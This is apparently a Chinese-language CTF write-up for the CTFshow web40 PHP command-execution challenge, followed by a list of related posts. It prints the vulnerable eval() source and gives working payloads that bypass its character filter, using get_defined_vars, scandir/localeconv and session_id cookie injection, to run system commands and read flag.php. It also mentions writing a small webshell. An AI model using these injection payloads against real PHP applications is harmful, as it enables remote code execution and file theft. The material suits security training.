CTFshow 命令执行 web40
目录
- 解法1
- 解法2
- 解法3
- 本地尝试
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
前言
通过代码审计发现,字母 、_ 、() 和 ; 没有被过滤,仔细观察可以发现里面过滤的括号是中文括号
解法1
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。
用get_defined_vars()来获取所有已定义的变量,发现post数组为空还有刚刚GET传入值出现在get数组还有数组的末端。
/?c=print_r(get_defined_vars());
用post提交参数,cmd=phpinfo();
发现post数组里面传入了值,数组末尾并没有新增元素
这时候我们用 array_pop取出数组最后一个元素,这时候拿到的还是数组末尾的元素[c],因为没有源码没有定义变量来接收post的值(具体可以对比上两张图数组末尾)
?c=print_r(array_pop(get_defined_vars()));
由于get_defined_vars()返回的是一个多维数组,我们用current()可以获取到GET数组,用next()可以获取到POST数组,然后用array_pop()取出POST数组里面的元素,最后用eval执行
?c=eval(array_pop(next(get_defined_vars())));
最后用POST提交 cmd=system(“cat flag.php”); 拿到flag
返回目录
解法2
scandir() 函数返回指定目录中的文件和目录的数组。
print_r() 函数用于打印变量,以更容易理解的形式展示。
localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
current() 函数返回数组中的当前元素的值。别名是 pos()
array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。
?c=print_r(scandir(pos(localeconv())));
localeconv()的第一个元素是"." ,用pos()可以返回数组第一个元素的值。所以结合起来就是 scandir(".") 相当于返回当前目录下文件的数组,最后用print_r输出。
下一步应该要把flag.php这个值取出,来读取文件内容。但发现没有什么办法可以直接取出。
这时候我们可以用array_reserve()把数组内元素顺序倒过来,flag就变成数组中的第二项,然后可以用next()取出(默认指针停留在数组第一项)
?c=print_r(array_reverse(scandir(pos(localeconv()))));
?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
最后我们可以用read_file()、highlight_file()和show_source()读出源码,拿到flag
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
返回目录
解法3
参考大佬的博客
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的
第一种方法
?c=session_start();system(session_id());
提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成ls再提交,然后就会显示当前目录下的文件,也可以用bp来抓包
提交后
修改值为ls 再提交,获得目录的下文件,后面可以继续构造payload来拿到flag,可以用base64编码和写小马。由于php版本问题只能进行到这里,想知道这么做的话可以看下我的 本地尝试
第二种方法
/?c=show_source(session_id(session_start()));
PHPSSID值设为flag.php
献上大佬的效果图
返回目录
本地尝试
参考大佬的博客
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的
用phpstudy搭建靶场,直接把源码拿过来,为了方便测试,把php版本修改为5.6.9
由于本地是window系统,这边用dir来获取目录文件,用bp抓包
phpsessid不支持空格,我们可以把payload进行base64编码,这边想让他输出phpinfo页面
?c=session_start();eval(session_id());
直接base64编码会发现后面有2个=,这样phpsessid是不支持的。
我们可以再加2个;再编码 就可以成功获取phpinfo页面
用第二种方法
?c=show_source(session_id(session_start()));
PHPSESSID=flag.php
自己在本地建了个flag.php
返回目录
小结
这题刚开始被绕晕了,不理解为什么array_pop能取到POST数组中的元素,然后再本地一步一步用var_dump测试,最后才懂,想起这是一个多维数组。后面用session的时候,发现解不出,后面又去网上看了很多大佬写的相关的博客,最后总结起来自己本地尝试,成功解决问题。
用群主的话来讲,就和洋葱一样,需要一层一层剥开看看就明白了
CTFshow 命令执行 web40相关推荐
- CTFshow——命令执行
CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...
- [CTFSHOW]命令执行
文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...
- CTFshow命令执行29-123
命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...
- CTFshow 命令执行 web72
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
- ctfshow 命令执行 web29-web77 web118-122 web124 wp
南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...
- ctfshow命令执行篇
web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...
- [CTFSHOW]命令执行55-74
web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...
- ctfshow命令执行(持续更新,已更至web39)
做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...
- ctfshow命令执行
目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...
最新文章
- c# 数据可视化_#OpenVisConf上的22位数据可视化从业者的10点收获
- Mysql高级调优篇——第一章:调优必备索引知识
- 【问题收录】ImportError No module named MySQLdb 问题解决
- 队列学习笔记 顺序队列
- Android Fragment使用(三) Activity, Fragment, WebView的状态保存和恢复
- hdu 1203 I NEED A OFFER!
- 数据仓库:Oracle Exadata和Netezza的比较
- C语言文件操作(三)读取指定路径txt文件,并输出文件内容
- 数据轮播图翻页封装(左右点击)
- Exceptionless - .Net Core开源日志框架
- 2场直播丨Oracle数据库SQL执行计划的取得和解析、一次特殊的 Oralce 硬解析性能问题的技术分享...
- (原创)面向对象的系统对接接口编写。第4篇
- wsdl互联网短信接口_中国移动推出短信小程序
- 使用useEffect常见问题!
- java drawstring字体大小_java – 不同大小的JLabel中心drawString()文本
- 推荐:学习人工智能(AI)的一些网站及教程资源
- 斯皮尔曼相关(Spearman correlation)系数概述及其计算例
- 子群的陪集-》群的拉格朗日定理
- 【.NET】EF框架之三种模式
- JavaScript中pageX pageY offsetX offsetY区别
热门文章
- BadgeView(View上添加提醒)的应用与分析
- CROC-MBTU 2012, Elimination Round (ACM-ICPC) 总结
- python调用api应用接口_第三方免费快递物流查询接口平台(快递鸟)api接口调用...
- FCC有意支持Sprint与T-Mobile合并?
- Python之sort()函数详解
- SortedMap接口
- java(十六) 对象的this引用
- 基于HAproxy的web动静分离及输出状态检测页面
- HandlerThread 类的学习(转载)
- 《几何与代数导引》习题1.38